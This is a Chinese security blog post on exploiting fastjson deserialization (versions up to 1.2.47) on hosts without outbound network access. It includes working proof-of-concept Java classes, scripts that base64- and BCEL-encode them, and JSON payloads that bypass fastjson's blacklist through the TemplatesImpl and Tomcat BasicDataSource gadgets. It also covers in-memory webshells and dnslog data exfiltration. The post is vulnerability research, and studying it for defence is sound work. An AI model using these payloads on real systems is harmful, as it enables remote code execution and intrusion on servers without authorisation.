fastjson 不出网利用总结

2021-02-04 18:04:45 浏览数 (1)

声明

本文作者:flashine

本文字数:2382

阅读时长:20分钟

附件/链接:点击查看原文下载

声明:请勿用作违法用途,否则后果自负

本文属于WgpSec原创奖励计划,未经许可禁止转载

前言

    之前做项目在内网测到了一个fastjson反序列化漏洞,使用dnslog可以获取到ip,但是通过burp请求在vps搭建的rmi服务时发现rmi服务监听的端口有收到请求,但是http服务没有收到请求,所以就研究一下不出网的fastjson怎么利用。

0x00 

利用方式

目前公开已知的poc有两个:

  1. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  2. org.apache.tomcat.dbcp.dbcp2.BasicDataSource

第一种利用方式需要一个特定的触发条件,解析JSON的时候需要使用Feature才能触发,参考如下代码:

代码语言:javascript复制
JSONObject.parseObject(sb.toString(), new Feature[]{Feature.SupportNonPublicField});

第二种利用方式则需要应用部署在Tomcat应用环境中,因为Tomcat应用环境自带tomcat-dbcp.jar

对于SpringBoot这种自带Tomcat可以直接以单个jar文件部署的需要在maven中配置tomcat-dbcp。

而且对于不同的Tomcat版本使用的poc也不同:• Tomcat 8.0以后使用org.apache.tomcat.dbcp.dbcp2.BasicDataSource• Tomcat 8.0以下使用org.apache.tomcat.dbcp.dbcp.BasicDataSource

0x01 

利用复现

环境配置:

• fastjson 1.2.45 • 代码参考 vulhub • 服务器:Windows Server 2012 r2 • jdk版本:jdk8u112

1. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

这里使用的是SpringBoot自带的Tomcat复现的漏洞。由于解析json需要额外添加参数Feature,因此实际情况可能不会遇到,这里只是做个记录。首先需要准备一个Poc:

代码语言:javascript复制
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;​public class Calc extends AbstractTranslet {public Calc() throws IOException {        Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {    }    @Override    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {    }    public static void main(String[] args) throws Exception {        Calc t = new Calc();    }}

通过命令行执行javac Poc.java得到class文件,然后通过python脚本得到该文件的base64编码:

代码语言:javascript复制
import base64​with open(r"Poc.class", "rb") as file:    s = base64.b64encode(file.read())    print(s.decode('utf-8'))

由于fastjson在1.2.25版本之后增加了黑名单机制,因此网上直接找到的poc并不能直接拿来用,这里基于<=1.2.47版本的缓存类的绕过黑名单的方式修改原有poc:

代码语言:javascript复制
{    "a": {        "@type": "java.lang.Class",        "val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"        },    "b": {        "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",        "_bytecodes": ["poc.class_base64"],        '_name': 'a.b',        '_tfactory': {},        "_outputProperties": {},        "_name": "b",        "_version": "1.0",        "allowedProtocols": "all"      }}

直接弹出计算器:

2. org.apache.tomcat.dbcp.dbcp2.BasicDataSource

利用环境需要实际下载Tomcat应用环境或者在maven中配置如下依赖:

代码语言:javascript复制
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.8</version>
</dependency>

我这里使用的是从Tomcat官网下载的Tomcat8.5.61,需要将springboot打成war包进行部署。

准备的Poc如下:

代码语言:javascript复制
public class Poc{    static {        try{            Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});        } catch (Exception e) {        }    }}​// 在构造函数中写也可以public class Poc{    public Poc(){        try{            Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});        } catch (Exception e) {        }    }}

首先在命令行下运行javac Poc.java得到Poc.class ,然后运行下面的java代码得到Poc.class文件的BCEL编码(编码内容保存在res.txt中)。

这里有个坑,需要注意下,我直接在本机环境(jdk8u271)下运行结果输出的内容特别短,根本没有进行编码,怀疑是高版本对该函数做了修改,后来直接用测试服务器的jdk8u112运行代码得到的编码。

代码语言:javascript复制
import com.sun.org.apache.bcel.internal.classfile.Utility;import java.io.BufferedWriter;import java.io.FileWriter;import java.io.IOException;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;​public class Test{​    public static void main(String[] args) throws IOException {        Path path = Paths.get("C:\Users\Administrator\Desktop\Poc.class");        byte[] bytes = Files.readAllBytes(path);        System.out.println(bytes.length);        String result = Utility.encode(bytes,true);        BufferedWriter bw = new BufferedWriter(new FileWriter("C:\Users\Administrator\Desktop\res.txt"));        bw.write("$$BCEL$$"   result);        bw.close();    }}

同上由于fastjson在1.2.25版本之后增加了黑名单机制,这里基于<=1.2.47版本的缓存类的绕过黑名单的方式修改原有poc:

代码语言:javascript复制
{    "a": {        "@type": "java.lang.Class",        "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"    },    "b": {        "@type": "java.lang.Class",        "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"    },    "c": {        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",        "driverClassLoader": {            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"        },        "driverClassName": "BCELencode"    }}

不知道是什么问题,计算器有时候能弹出界面,有时候只能在任务管理器里看到:

0x02 

一点思考

第一个Poc比较难利用,第二个在1.2.47以下版本还可以利用,所以就想试试插入一个内存webshell或者是执行命令有回显。

1. 内存webshell

这里参考雷神众测的文章(文后已附上),通过将注册恶意类的字节码文件和注册controller的类的字节码文件经过BCEL编码后请求到服务器,发现直接报错:

看起来好像是com.sun.org.apache.bcel.internal.util.ClassLoader没有加载到AbstractTranslet这个类,由于对内存shell的代码不了解,不知道针对这种情况情况的代码怎么修改,暂时作罢。

2. 命令执行回显

常见的回显方式有三种:

  1. 一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果。
  2. 通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了。
  3. 直接将命令执行结果回显到请求Poc的HTTP响应中。

0x03 

参考链接

https://mntn0x.github.io/2020/04/07/Fastjson漏洞复现/ https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html https://xz.aliyun.com/t/7104 Fastjson反序列化进攻利用 SpringBoot内存shell https://xz.aliyun.com/t/7740

后记

第一种需要提前知道物理路径才能写文件,可以直接利用,这里就不细说了。第二种通过dnslog.cn和ceye.io也用得比较多了,但是数据量大了之后就不方便外带了。第三种在网上有很多文章,我自己尝试了下但是很多报错都跟上图一样提示NoClassDefFoundError,不知道有没有师傅有解决办法。

WgpSec狼组安全团队

0 人点赞